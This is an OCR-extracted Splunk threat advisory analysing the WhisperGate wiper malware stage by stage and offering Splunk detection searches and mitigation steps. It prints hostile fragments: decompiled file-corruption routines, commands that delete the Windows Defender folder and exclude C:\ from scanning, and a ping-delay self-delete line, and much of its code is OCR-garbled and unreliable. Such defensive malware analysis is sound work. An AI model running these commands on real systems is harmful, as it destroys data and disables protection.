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Splunk is committed to using inclusive and unbiased language. This blog post might contain terminology that we
no longer use. For more information on our updated terminology and our stance on biased language, please visit
our blog_post. We appreciate your understanding as we work towards making our community more inclusive for

everyone.

If recent Ransomware campaigns are an indication of the effects malicious campaigns against healthcare,
technology, food supply, and gas supply can have in real life (Colonial pipeline outage affected 45% of U.S East
Coast fuel supply), then destructive payloads whose sole use is to render hosts unusable should be considered a

possibility under the current geopolitical indicators.

The Attack: The focus of this threat advisory is on a recently reported destructive payload by Microsoft MSTIC

under the name of WhisperGate. We break down the different components and functions of how this payload

works and provide a series of detections to mitigate and defend against this threat.

Although we cannot prevent patient 0, we can, however, measure and recover execution artifacts which if used
timely and operationalized as analytics and playbooks can provide analysts a tool to isolate, contain and prevent
further damage. Further on, this data may help understand the extent and the TTPs of current and future

campaigns where these payloads may be in use.

Ransomware is by itself a destructive payload, however, some past campaigns have shown the use of multiple
payloads some of them with Ransomware characteristics used as decoys, and others with the same Ransomware

characteristics, however, they execute destructive payloads at targeted organizations (i.e Hard disk erasure).
“WhisperGate” Indicators And Analysis:

Stage 1: MBR Wiper

This wiper malware contains code that affects the Master Boot Record (MBR) sector of the compromised host.
This wiper will try to overwrite or replace the original MBR with the destructive MBR code. The screenshot
below shows a code snippet to overwrite the MBR with the malicious master boot record code containing the

ransom note.
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~ push L2}
push  ecx
call sub_481FE@
mov
sub esp, EaR
lea edi, [ebp-
| call

mov
rep
mov

le], @ ; hTemplatefile

mov sptill]. 8 ; dwFlagsandattributes
mOV o] sition] dwCreationDisposition
mov 5 ; lpSecurityAttributes
mov ; dwSharetode

| mov cess], 108 5 dwd diceess

me], offset FileName

esi ; hFile

3 lpoverlapped
s 8 ; lpNumb:
i nhumberOfBytesT:
5], eax ; lpBuffer

P , esi ; hobject
call CleseHandle
push eax

lea esp, [ebp-ech]
xor eax, eax

pop ecx

pop esi

pop edi

pop ebp

lea esp, [ecx-4]

Stage2: Discord Downloader

Delay Of Execution

This stage 2 malware contains a possible defense evasion that might bypass AV detection technology like
emulation or even sandbox testing that monitors process behavior in a period of time (let say less than 20 sec.).

The evasion is achieved by running a base64 encoded powershell that will delay its execution. The screenshot

below shows the code it runs twice to sleep for 20 sec.
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Encoded command

Powershell -enc UwBAAGEAcgBOACOAUWBSAGUAZQBWACAALQBzACAAMQAWAA==

Decoded command

Powershell Start-Sleep -s 10

Discord Download

After the sleep, Stage 2 will try to download a “.jpg” file in the discord server. The downloaded file is another .net
compiled malware which is the stage 3 that is in reverse form. By using a simple python script you can reverse it

to make it a valid PE executable. Below is the screenshot of how it downloads the stage 3 malware in the discord

server.

Stage 3: Defense Evasion and Process Injection (File Corrupter)

The stage3 is another .net compile malware that will load its resource data to decrypt it, which is the

advancedrun.exe and the file corrupter malware.

Evading Windows Defender AV

As soon as the stage3 executes, it will drop advancedrun.exe and a vbscript in %temp% folder to evade Windows
Defender AV. The screenshot below shows how “Advacedrun.exe (Nirsoft Tool) was used to disable WinDefender

service and remove or delete Windows Defender directory in Programdata folder.

“C:\Users\Administrator\AppData\Local\Temp\AdvancedRun.exe” /EXEFilename “C:\Windows\System32\sc.exe” /WindowSt
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rsp=000000DAE944C4B8

| . text:D0007FFFEICEC230 kernel32.d11:$1C290 #1B690 <CreateProcessws

B watch 1

| BYDump 1 PG oump2z  PWDump3 P Dump4 @ ODump S ==l Locals 4 Struct

i | ASCII

Q00000DAES44C5E0 %;?:.\.U.s.e‘r.s,\,s.h.'i.k 3

D00000DABI44C5C0 m.p.\.A.d.v.a.n.c.e

000000DAE344C600 .t huW.ion.d.o

000000DABI44C640 | " d wW.S5.Tt.a.t.e

000000DAES44C6E0 n e.T.e.n.d.". « /.

000000DAB44C6CO " =M 5. 8. ofcR.

000000DAS244C700 [ IR . 13y S

000000DASI44C 7 20 y...afD.

000000DAB44C7 80 Y .}.g. ®.
“C:\Users\Administrator\AppData\Local\Temp\AdvancedRun.exe” /EXEFilename
“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” /WindowState @ /CommandLine “rmdir
‘C:\ProgramData\Microsoft\Windows Defender’ -Recurse” /StartDirectory “” /RunAs 8 /Run

[dword ptr ss:lrsp+20]=[00000078E26CCT30)=1

eax=1

|| -text:00007FFFGICEL2D9 kernel32.d11:8$1C2D9 #1B6DY9

-l PDump1 E4Dump2  §% Dump 3 PDumps S Dumps D watch1  Ix=lLocals P 4

‘q.. — 3T - — — m— .
0000D078E26CC860(@.T.a.\.L.0.C.a.1.\.T.e.m.p.\.A.d.v.a.n.c.e.d.R.u.n...e.x.e.". .
00000078E26CCBAO| /.E. X.E.F.1.T.€.n.2.m. 8. .".C.:.\.W.1.n.d.0o.w.5.\.5.y.5.t.e.m.3.
00000078E26CCRED | 2.\ .W.i.n.d.0.w.5.P.0o.w.&.r.S.h.e. 1. T.\.v.1...0.\.p.Oo.w.2.Ir.5.h.
0000007BE26CC920 | e. 1. 1. .e.x.e.™, ./.W.i.n.d.o.w.S5.t.a.t.e. .0. ./.C.o.m.m.a.n.d.
00000078E26CC960(L.1.n.e. .".r.m.d.1.r. ."'.C.:.\.P.r.o0.g.r.a.m.D.a.t.a.\.M.i.c.r.
00000078E26CC9A0 | 0.5.0.F.t.\.W.i.n.d.o.w.5. .D.e.f.e.n.d.e.r.'. .-.R.e.C.U.F.S5.8,
00000078E26CCIEO| ¥, ./.S.T.8.r.t.D.i,r.e.c.t.o,r.y. .“.%. ,/.R.u.n.A,s. .8. ./.R.

| ooo00078E26CCA20 | U. N, ....Ola.x...a.(-:]g.u....Q...n...°.~3y...BIlax...g..zz...e...y...
0000007 8E26LCA60| aEldx. . .FA22y...08)ax...e..2y....00ax... cF.E...a.B.E...1.83
0000007 SE26CCAAQ ( BETax. . . DmE2y. . .0DAE. . ,OmE2y......3V.. . HgF.E.. . ACT&x., .OQF.E,

“OD'DDDD?SEEGCCAE'D EQF.E.........,..hF.E...........DETaJ(...(} TERs 5o 55 n ain>aih s sse»

The .vbs file drop in the%temp% folder will add C:\ drive to the exclusion path of Windows Defender.

[ Nmddfraarbyieygggda vbs E1
1 CreateObject ("WScript.Shell"™) .Run "powershell Set-MpPreference -ExclusionPath
‘czA'", O, False

Process Injection - File Corrupter Malware

It will create a suspended process of InstallUtil.exe in %temp% folder to inject the file corrupter malware. Below

is the CreateProcess API call for the said file to prepare its injection.

cC int3
e nt3 i Hide £ry
EE mg RAX  0O0O7FFFEICEC100 L UHfIXH<, 8"
cc inta RBX  DODOODOOOODO00OD
cc int3 RCX  DODOODOODOGOGDOD
4c MOV rll,rsp |CreateProcessa RDX  ODOOGOTBEIECOSFO I . A o0 ata\\ Locall\Templ \Installutil. exe”
48: B3EC sub rsp,tE RBF  DODOODTSE2ECDA3D 4"DOTAX™
15} 886424 AB00000D | ROV Fax ,qword per 55 :frspas) RSP  DODOOD7SE26CDI9S
49:8: mov gword ptr d 1-10) ,rax Fax: Lo UHfaxH 8 RSI  00000D7SE2ECODAD
ARSIl 0000000, | | sl s ptr s RDI 0000007 SE2ECDETS
49: 5943 mov gword ptr ds:[ri. rax: L uHrlxn .3
485 ssa-«u 98000000 | mOv rax,qword ptr st EbeRls "BU AX" RE  000000G0000000G0
mov gnord ptr ds: “LoUHFIXHC, § 85  0000000000060000
1i 888424 90000000 | Mgy rax,gword p . K10  0O0OOLC §SFDFGOED
49:8943 D8 mov gword ptr d Fax: "L UMfIXHL 8 b
888424 BEODOOOD Bov eax,dword p Bl  DO0OODOODOOOGD3D o
894424 28 mov dword pTr o R1Z  DODDOO7SE2GCDECSH
888424 BOODOOOD sov eax,cvord R13 0000007 BE2ECDCBO
894424 20 mov_dword ptr R14  DODOOOOOOODOGOOD
FF15 sun;n;un &M qword ptr ds [nureat.processn] R1S  0O0000O0OD0OOOO0
48:83C4 add rsp,s8
€3 L RIP  DODOTFFFEACEC100 <kernel32.CreateProcessa>

By Extracting the file that it will inject in InstallUtil.exe using WriteProcessMemory API, we were able to grab

the corruptor malware.
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This malware will first enumerate all the drive types connected on the compromised machine. It looks specifically

for “Fixed” or “Remote” drives as a starting point in traversing all possible files to corrupt.

T — ul
1VINT func_EnumerateFixedAndRemoteDrives()

29

3| DWORD w@; // ebx

4| dint 43 // esi

5 uInT result; // eax

E WCHAR RootPathName[17]; // [espt26h] [ebp-22h] BYREF

B w@ = GetLogicalDrives();

F gmemcpy (RootPathName, “A", @xAu);

": RootPathName[3] = @;

L] for ( i =8; i I= 26; ++i )

0l {

L result = (__int64)pow(2.6, (double)i);

3 if ( (ve & result) I=

I

g RootPathName[@] = i + @x41;

U if ( GetDriveTypeW(RootPatlillam=) == DRIVE_FIXED || (result = GetDriveTypeW(RootPathiiams), result == bRI\"E_REl[lTE) ¥
i {

2 RootPathName[3] =

g r £t = func RecursweFmdFlle(R otPathName )3

iy RootPathiame[3] =

p }

Bl 1

Bl 1

] return result;

£ . ]

If it finds a file during its enumeration, It will convert its string filename in all capital characters then check if the

file extension is in its list. Below is the screenshot of code that checks the file extension and the list of its targeted

file type.
e ——————— e

1lint  cdecl sub 2215B3(mchar t “Filenase)
2l
3] int Fileextension(ir; J/ eb
4! const wchar_t *file_extension; [/ esi
5 int result L .l"_."l cax
7| FileextenzionCtr = B;
8| File exter nsion = = func FJ.ndFr_leExtensmn{’l enawa]);
3| sub aaugz{{ t16 *)file extension);
2] while ( 1 )

i
2 result = ﬁcscﬂp{targethle&tennm . ARSBM| FileextensionCir], file extension);
3 if { lresolt )
| = break;
& if { HFileextensionCir = 195 )
& return result;
7| }
[8] return ((int (_ cdecl *}{wchar_t *))func_OverWriteTheFiles)}(Filenams);
i}

File extension list

If the file extension is in its list, it will generate a random value that will serve as the file extension of its corrupted
file, then it will mem allocate with size of 0x100000 bytes and fill it with “0xCC” using memset API. After that it
will open the target file, overwrite it with the allocated memory fill of 0xCC bytes and rename it with the random

generated file extension.
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1lvoid _ cdecl sub_4@i4E3{wchar_t *FileName)

2[{

3| size_t FileNameLen; // ea

|4| wchar_t *FileNameMem; //

5| int random_gen: // edi

I|-J size t v4; // eax

7| wvoid *ec.mem; [/ [esp

8| FILE *Stream; // [es]

Q

2 wecslen(FileName);

1 malloc(2 * (FileNamelLen + 20));
2| random_gen = rand();

3| v4 = weslen(Fil pe ) 5

4| swprintf(Filelan » %", (va4 - 4), FileName, random_gen};
5| Stream = wfopen(FileName, L"wb™);

6| cc_mem = malloc(Bx108060u);

7| memset(cc mem, @xCC, 8x182000u); [/ memset file or set @xCC to the file with upto @xileeeed bytes
8| fwrite(cc_mem, 1lu, Ox180800u, Stream);

9| fclose(Streanm

2| wrename(Fi » FileNameMem);

1| free(Fil 35

2| free(ec

3}

Below is the screenshot during the corruption process of this malware, and how it overwrites the file with 0xCC

that makes it not recoverable.

SHIRH YA & 40 BRI LH

)

Teme .. Process Name PID  Cperaton Fath Resut Def
FAD1. Weomptersee 5380 DNOoseFie C:\Python37ecl \tclB 6'maga\pt mag SUCCESS
V4D Weompteemns 5350 [NCloseFie C\Python 37bel telf Bimegs SUCCESS
401 W compler sne 5350 [ OisseFie C/\Python ITbel et B'mags ot 5477 SUCCESS
401, & compter axe 5380 '?’U:nlih CWPython Il bl B'mage SUCCESS
V401 Woompterswe 5360 ECloseFie C:\Python 37\tel tciB. 6\mags \pt_br msg SUCCESS
401 Weompteme 5360 ’F:Oane C:\Python 37 el tclB E'mage SUCCESS
4. W compler exe 5320 [ CleaeFia Co\Python ITel'te8 6 mags 'l _be bad 5 = SUCCESS
1401, Weompterexs 5380 P CloseFie C:\Python 3Mtcl tclE G'mags part of process event of corrupter.exe after SUCCESS
t‘ﬂ-‘- Wcompterens 5380 (4 CloseFie C\Python ITeclNaiE Gimsgs o mag overwriting and renaming target files in compromised SUCCESS
401 Woomptesss 5360 [CloveFie C:\Python 37 el tedB 6\mage SUCCESS
b40:1 . W compter s §380 [ ClosaFiis C:\Python ITiecl bl 6'mags're 6261 host. SUCCESS
pié01.. Woomptermme 5380 (CloneFie C:\Python 37el telB. 6'mege SUCCESS
4401, W compter exe 5380 [* CloseFie C\Python ITbcl 4ot 6'megs vumag SUCCESS
400 W compter exe 5380 [ CloseFie C:WPython 1Tkl bl Emge SUCCESS
401 W compler axs 5380 £ OoseFle C:\Python ITbcl i 6'mage'n 5446 SUCCESS
401, Weompterene 5 CloseFie C:\Python 3Tel\elB 6'mags SUCCESS
¥ compier exs c " CESS

[

W compter exs c SUCCESS
- comprler ene C SUCCESS
compterexe 5380 e SUCCESS
380 M riasakis r SIFTESE

_C:\caldera manx ag T FRQ -----=n= 20000000

C:\caldera e —
. the priginal; file;

Ping Sleep and the Melting Batch Script

This corruptor malware will try to delete itself using the known batch script command like in the screenshot

below. Before that, it also used a ping utility tool to generate sleep for 4-5 sec.

GetModuleFileNameA(®@, ame, @x184u);
sprintf(Buffer, "cmd.exe /min /C ping 111.111.111.111 -n 5 -w 1@ > Nul & Del /f /g \"%s\"", Filename);
return sub 481857 (Buffer);

I
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Detections

Ping Sleep Batch Command

This analytic will identify the possible execution of ping sleep batch commands. This technique was seen in

several malware samples and is used to trigger sleep times without explicitly calling sleep functions or

commandlets. The goal is to delay the execution of malicious code and bypass detection or sandbox analysis.

| tstats ‘security_content_summariesonly‘ count min(_time) as firstTime max(_time) as lastTime from datamodel=

where ‘process_ping' (Processes.parent_process = "*ping*" Processes.parent_process = *-n* Processes.parent_pr¢

(Processes.process = "*ping*" Processes.process = *-n* Processes.process="* Nul*"Processes.process="*&gt;*")

by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name

| “drop_dm_object_name("Processes")"
| “security_content_ctime(firstTime)*

| *security_content_ctime(lastTime)"

| tstats 'security_content_summariesonly’ count min(_time) as firstTime max(_time) s lastTime datamodel=Endpoint.Processes

e ‘process_ping' (Processes.parent_process = "xpingx" Processes.parent_process = *-nx Processes.parent_process="x Nulx"Processes.parent_process="xgt;*")

(Processes.process = "*ping*" Processes.process = *-n* Processes.process="+ Nul*"Processes.process="+&gt;*")

Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes

| ‘drop_dm_object_name(“Processes")’
| “security_content_ctime(firstTime)"
| *security_content_ctime(lastTime)"

+ 1event (19/01/2022 13:00:00.000 to 20/01/2022 13:21:57.000) No Event Sampling »

Events Patterns Statistics (1) Visualization
20 Per Page ~ # Format Preview v

I'd 4
parent_process_name process_name
5 parent_process = e s
cmd. exe cmd.exe /min /C ping 111.111.111.111 -n 5 -w 1@ &gt; Nul &amp; Del PING.EXE

/f /q "C:\Users\Administrator\AppData\lLocal\Temp\2\InstallUtil.exe"

Powershell Remove Windows Defender Directory

I
original_file_name

unknown

process <

ping
1manaanaanm
-n 5 -w 10

r'd
process_id

4304

s
process_guid + user P4
{6F5BEE90-3BD5- Administrator

61E9-9009-
000000002102}

This analytic will identify a suspicious PowerShell command used to delete the Windows Defender folder. This

technique was seen used by the WhisperGate malware campaign where it used Nirsoft's advancedrun.exe to gain

administrative privileges to then execute a PowerShell command to delete the Windows Defender folder.

‘powershell" EventCode=4104 Message = "* rmdir *" OR Message = "*\\Microsoft\\Windows Defender*"

| stats count min(_time) as firstTime max(_time) as lastTime by EventCode Message ComputerName User

| “security_content_ctime(firstTime)*

| “security_content_ctime(lastTime)*
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‘powershell’ EventCode=4104 Message = "* rmdir *#" OR Message = "*\\Microsoft\\Windows Defenderx"
| stats count min{_time) as firstTime max{_time) as lastTime by EventCode Message ComputerName User
| “security_content_ctime(firstTime)"
| "security_content_ctime(lastTime)’

B could not load lookup=LOOKUP-record_type

+ 1 event (19/01/2022 14:00:00.000 to 20/01/2022 14:20:47.000)  No Event Sampling =

Events Patterns Statistics (1) Visualization
20 Per Page + # Format Preview =
EventCode + ~ Message = Fd Co
4104 Creating Scriptblock text (1 of 1): wir

rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse

ScriptBlock ID: 5cf9e8ad-bede-4e7@-92d2-b1379c835abd
Path:

Suspicious Process With Discord DNS Query

This analytic identifies a process making a DNS query to Discord, a well known instant messaging and digital
distribution platform. Discord can be abused by adversaries, as seen in the WhisperGate campaign, to host and
download malicious external files. A process resolving a Discord DNS name could be an indicator of malware

trying to download files from Discord for further execution.

‘sysmon* EventCode=22 QueryName IN ("*discord*") process_path != "*\\AppData\\Local\\Discord\\*" AND process_p:
| stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus process_name Quer)
| ‘security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)*

sysmon' EventCade=2? QueryName [N (“#discords”) process_path != “s\\AppData\\lacal\\Discordi\=" process_path 1= “#\\Program Filess® process_name |= “discord exe®
stats count min(_time) as FirstTime max(_time) lastTime by Image QueryMame QueryStatus process_name QueryResults Computer process_path
security_content_ctime(firstTime)

| “security_content_ctime(lastTime)

B couid not load lookup=LOOKUP-record_type

~ 2 wvents (187012022 13:00000,000 10 19/0V2022 13:40:26.000] Mo Event Sampling =

Events Pattemns Statistics (1)
20 Pai Page ~ # Formal Preview =
s s
QuoryStatus  process_name
Image = Fd QueryName & i 3 3 QueryResults 3 s
C:\Temp\new\stagel exe in. discordapp . com L] stage?. exe Frff:162.168.113. 213 fIFF:162.159 114 223 FrFE:162 156135 23%; - -FFFF:162.159 138 233;- . FFFf-162.155.129 213

Excessive File Deletion In WinDefender Folder
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This analytic will identify excessive file deletion events in the Windows Defender folder. This technique was seen

in the WhisperGate malware campaign in which adversaries abused Nirsoft's advancedrun.exe to gain

administrative privilege to then execute PowerShell commands to delete files within the Windows Defender

application folder.

‘sysmon® EventCode=23 TargetFilename = "*\\ProgramData\\Microsoft\\Windows Defender*"

| stats values(TargetFilename) as deleted_files min(_time) as firstTime max(_time) as lastTime count by user

|where count >=50
| ‘security_content_ctime(firstTime)"

| ‘security_content_ctime(lastTime)®

“sysmon’ EventCode=23 TargetFilename = "#\\ProgramData\\Microsoft\\Windows Defender"

| stats values(TargetFilename) as deleted_files min(_time) as firstTime max(_time) as lastTime count by user EventCode Image ProcessID

|where count >=50
| “security_content_ctime(firstTime)'
| “security_content_ctime(lastTime)'

B could not load lookup=LOOKUP-record_type

+ 3,996 events (19/01/2022 15:00:00.000 to 20/01/2022 15:33:01.000) No Event Sampling v

Events  Patterns  Statisties (2)  Visualization

20 Per Page « Format Preview v

user / EventCode

= $  Image ¢ s
SYSTEM 23 C:\Windows\System32\WindowsPowerShell\v1.@\powershell.exe

ProcessiD

'2832'

Windows InstallUtil in Non Standard Path

deleted_files =

:\ProgramData\Microsoft\Windows
:\ProgramData\Microsoft\Windows
\ProgramData\Microsoft\Windows
:\ProgramData\Microsoft\Windows
:\ProgramData\Microsoft\Windows
:\ProgramData\Microsoft\Windows
:\ProgramData\Microsoft\Windows
:\ProgramData\Microsoft\Windows
:\ProgramData‘\Microsoft\Windows
:\ProgramData\Microsoft\Windows
:\ProgramData\Microsoft\Windows
:\ProgramData\Microsoft\Windows
:\ProgramData\Microsoft\Windows
:\ProgramData\Microsoft\Windows
:\ProgramData‘\Microsoft\Windows
:\ProgramData\Microsoft\Windows

000

oNDo0oO0O00DO0O00O0O0O0

Defender\Network Inspection System\Support\NisLog.txt

Defender\Scans\CleanStore\Entries\{@63FD797-5F24-091F-2B4E-0269D13D0B70)
Defender\Scans\CleanStore\Entries\{1C4E74AC-149D-39AE-B74A-B53F4CC32079}
Defender\Scans\CleanStore\Ent ries\{1E841055-9691-EADA-4634-425E676749FCY
Defender\Scans\CleanStore\Entries\{4951AB05-CB9A-E18D-0C55-EB74CFE11108)
Defender\Scans\CleanStore\Entries\{4BF2B463-7479-3DAE-72F@-FB54116DE50F}
Defender\Scans\CleanStore\Ent ries\{5814391C-0379-0644-BCB5-61696E94875C)
Defender\Scans\CleanStore\Entries\{73788C98-8557-29B6-338F-8559E3DE4D68)
Defender\Scans\CleanStore\Entries\{790D7354-EF74-7B90-6BD5-12E3B1FIATEF}
Defender\Scans\CleanStore\Ent ries\{83014362-F526-C024-EAD3-13DCDO7868F 4}
Defender\Scans\CleanStore\Entries\{9CD7968E-5F23-B83B-A3A2-126CF8F3168A)
Defender\Scans\CleanStore\Entries\{A59C741C-0B17-3F5B-C21F-EE1993E1E19E}
Defender\Scans\CleanStore\Ent ries\{C8B42718-7753-CAAE-DA75-20CD3C27A0ABY
Defender\Scans\CleanStore\Entries\{DC52B15C-2EC1-5CBD-DD73-0026@33674D4}
Defender\Scans\CleanStore\Entries\{E@1AD230-0@0F2-4114-DB75-9C788D7FF24E}

Defender\Scans\CleanStore\ResourceData\20\20A244C0440EDOB418F 454F 8A12EDBDE 6 A8BDED2

C:\ProgramData\Microsoft\Windows

Defender\Scans\CleanStore\ResourceData\24\24FACESBSCA3ICEG4CF 462ADDEIOACAD1051AFS7

C:\ProgramData\Microsoft\Windows

The following analytic identifies the Windows binary InstallUtil.exe running from a non-standard location.

| tstats "security_content_summariesonly' count min(_time) a

firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where “process_installutil' WOT (Processes.process_path IN ("*\\Windows\\ADWS\\", "*\\Windows\\SysWOWG4x", *

*\\Windows\\system32*", "*\\Windows\\NetworkController\\x", "x\\Windows\\SystemApps\\x", "*\\WinSxs\\x", "#\\Windows\\Microsoft.NET\\*")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes

original_file name Processes.process_id Processes.parent_process_id Processes.process_hash
" drop_dm_object_name("Processes")"
*security_content_ctime(firstTine)’
*security_content_ctime(lastTime)"

16 events (1/17/22 4:00:00.000 PM to 1/24/22 4:45:47000 PM)  No Event Sampling v

Evenis (16)  Patterns  Statistics (7)  Visualization

20PerPage™  /Format  Preview v

dest = £ users #  parent_process = b4
win-de-mhaag-attack- Administrator "C:\Windows\system32\WindowsPowershell\v1.@\Powershell ISE.exe"

range-
139. attackrange. local

win-host-mhaag- Administrator  "C

attack-range-563

Window m32 \W: hell\v1.@\powershell.exe"

win-host-mhaag- Administrator  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
attack-range-563
win-dc-mhaag-attack-  Administrator  "C:\Windows\system32\WindowsPowerShell\v1.8\PowerShell_TSE.exe"

range-
139. attackrange. local

Windows NirSoft AdvancedRun

E2
process_name &

nothinhere.exe

installutil.exe

installutil.exe

installut.exe

process ~ 7| &

"C:\ProgramData\nothinhere. exe"

“C:\Temp\installutil.exe"

"C:\Temp\installutil.exe"

"C:\temp\installut.exe"
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4 7 s

original_file_name  process_id  parent_process_id

3 s % process_hash =

InstallUtil.exe 6736 7112 MD5=AF862061889F5BIBISEEI46IDCDAETT3, SHA
Installutil.exe 5664 4168 MD5=AF862061889F5B9BISEEI46IDCDAETT3 , SHA
unknown 3784 4168 MD5=AF862061889F5B9BISEEI46IDCDAETT3, SHA
InstallUtil exe 6912 7112 MD5=AF862061889F5BIBISEEI46IDCDAETT3, SHA
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The following analytic identifies the use of AdvancedRun.exe. AdvancedRun.exe has similar capabilities as other

remote programs like psexec.

| tstats "security_content_summariesonly’ count min(_time) as firstTime max(_time) 2= lastTime FROW datamodel=Endpoint.Processes where 'process_installutil' NOT (Processes.process_path TN (*x\\Nindows\\ADNS\\x", "<\\Windows\\SysWORG&x", *
#\\Windows\\system32x", "#\\Windows\\NetworkController\\#", "#\\Windows\\SystemApps\\#", "A\\WinSxS\\#", "#\\Windows\\Microsoft.NET\\#")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process
Processes.original_file_name Processes.process_id Processes.parent_process_id Processes.process_hash

| 'drop_dm_object_name("Processes")"

| “security_content_ctime(firstTime)

| “security_content_ctime(lastTime)"

¥ 13 events (1/16/22 12:00:00.000 AM to 1/21/22 2:35:03.000 PM)  No Event Sampling v Job v a
Events(13)  Pattens  Statistics (4)  Visualization
20PerPage~  «Format  Preview v
s ’ /s

e original_file_name  process_id  parent_process_id
dest & /s  user® #  parent_process & #  process_name 3 process & P s ¢ process_hash &
win-de-mhaag-attack-  Administrater  "C:\Windows\system32\WindowsPowerShell\vl.9\Powershell ISE.exe’  installut.exe "C:\temp\installut.exe" Installutil.exe 6912 7112 MD5=AF862061889F 5BIBISEEIAE9DC
range-

139 attackrange. local

win-dc-mhaag-attack-  Administrator  'C:\Windows\system32\WindowsPowerShell\vi.0\Powershell ISE.exe’  nothinhere.exe "C:\ProgramData\nothinhere.exe”  InstallUtil.exe 6736 7112 MD5=AFB62061889F SBIBISEEIA69DC
range-
139. attackrange. local

win-host-mhaag- Administrator  "C:\Windows\System32\WindowsPowershell\vi.@\powershell.exe" installutil.exe  "C:\Temp\installutil.exe" Installutil.exe 5664 4168 MDS=AFB62061889F SBOBISEEIAEIDC
attack-range-563

Windows DotNet Binary in Non Standard Path

The following analytic identifies native .net binaries within the Windows operating system that may be abused by

adversaries by moving it to a new directory.

| tstats "security_content_summariesonly’ count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where HOT (Processes.process_path Th (**\\Wind DNS\\* , "*\\Window ", "*\\Windows\\system32s", *
*\\Windows\\NetworkController\\x", "+\\Windows\\SystemApps\\+*, "*\\WinSxS\\x", "*\\Windows\\Microsoft.NET\\*")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.original_file name
Processes.process_path Processes.process_id Processes.parent_process_id

| ‘drop_dm_object_name("Processes")"
| security_content_ctime(firstTime)
| “security_content_ctime(lastTime)'
lookup update=true is_net_windows_file origname filename as process_name OUTPUT netFile

lookup update=true is_net_windows_file origname originalFileName as original_file_name OUTPUT netFile
| search netFile=True

89,514,066 events (1/17/22 4:00:00.000 PM to 1/24/22 4:47:52000 PM)  No Event Sampling v Job v P

Events (8951406€)  Patterns  Statisties (14)  Visualization

20PerPagev  # Format Preview ¥
e s s
7 original_file_name: process_id  parent_process id <
dest ¢ 7 user# #  parent_process ¢ 7/ process_name »  process ¢ | & process_path & ’ : :
win-dc-mhaag-attack- Administrator “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" notmsbuild. exe “C:\Temp\notmsbuild. exe" MSBuild.exe C:\Temp\notmsbuild.exe 2200 944
range-

139. attackrange. local

win-dc-mhaag-attack-  Administrator  "C:\Windows\System32\WindowsPowerShell\v1.0\ponershell.exe" notmsbuild.exe  "C:\Temp\notmsbuild.exe" MSBuild.exe C:\Temp\notmsbuild.exe 2140 944
range- C:\Temp\nothing.csproj
139. attackrange. local

win-dc-mhaag-attack-  Administrator  "C:\Windows\System32\NindowsPowerShell\vl.o\powershell.exe" notmsbuild.exe  "C:\Temp\notmsbuild.exe" MsBuild.exe C:\Temp\notmsbuild. exe 4784 944
range- C:\Temp\nething.csproj
139. attackrange. local

win-dc-mhaag-attack-  SYSTEM “C:\Windows\System32\cnd.exe’ /c c:\temp\notmsbuild.exe notmsbuild.exe  c:\temp\notmsbuild.exe MsBuild.exe C:\Temp\notmsbuild.exe 2028 5868
range-

139.attackrange. local

win-dc-mhaag-attack-  SYSTEM "C:\Windows\System32\cnd.exe" /c c:\temp\notmsbuild. exe notmsbuild.exe  c:\temp\notmsbuild.exe MSBuild.exe C:\Temp\notmsbuild.exe 3880 568
range-

139. attackrange. local

win-dc-mhaag-attack-  Administrator  "C:\Windows\system32\WindowsPowerShell\vl.0\PowerShell ISE.exe" nothinhere.exe  "C:\ProgramData\nothinhere.exe'  InstallUtil.exe C:\ProgramData\nothinhere.exe 6736 m2
range-
139.attackrange. local

Splunk Security Content
Mitigation

As outlined in CISA Alert (AA22-011A) and other CISA recently released a communication on how to Implement
Cybersecurity Measures in order to protect against potential critical threats, here are some steps organizations can

take right now in order to protect themselves.

o Ensure software is up to date, prioritize updates that address known exploited vulnerabilities.
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e Splunk ESCU has extensive coverage of destructive software including ransomware and crime carrier

payloads. Download ESCU and perform some preventative detection and monitoring for these threats.
 Test, verify, and validate your perimeter defenses and remote access policies
» Apply equivalent security policies within your organization perimeter to your Cloud resources.

¢ Ensure there are disaster recovery, business continuity, and incident response resources on standby in case

of intrusion or attack.
¢ Follow CISA recommendations as outlined in:

o https://www.cisa.gov/sites/default/files/publications/CISA Insights-

Implement Cybersecurity Measures Now to Protect Against Critical Threats 508C.pdf

o https://www.cisa.gov/uscert/ncas/analysis-reports/ar21-013a

o https://www.cisa.gov/cyber-hygiene-services

Learn More

You can find the latest content about security analytic stories on research.splunk.com. For a full list of security

content, check out the release notes on Splunk Docs.

e ESCU v3.34.0

Feedback

Any feedback or requests? Feel free to put in an issue on Github and we’ll follow up. Alternatively, join us on the
Slack channel #security-research. Follow these instructions If you need an invitation to our Splunk user groups on
Slack.
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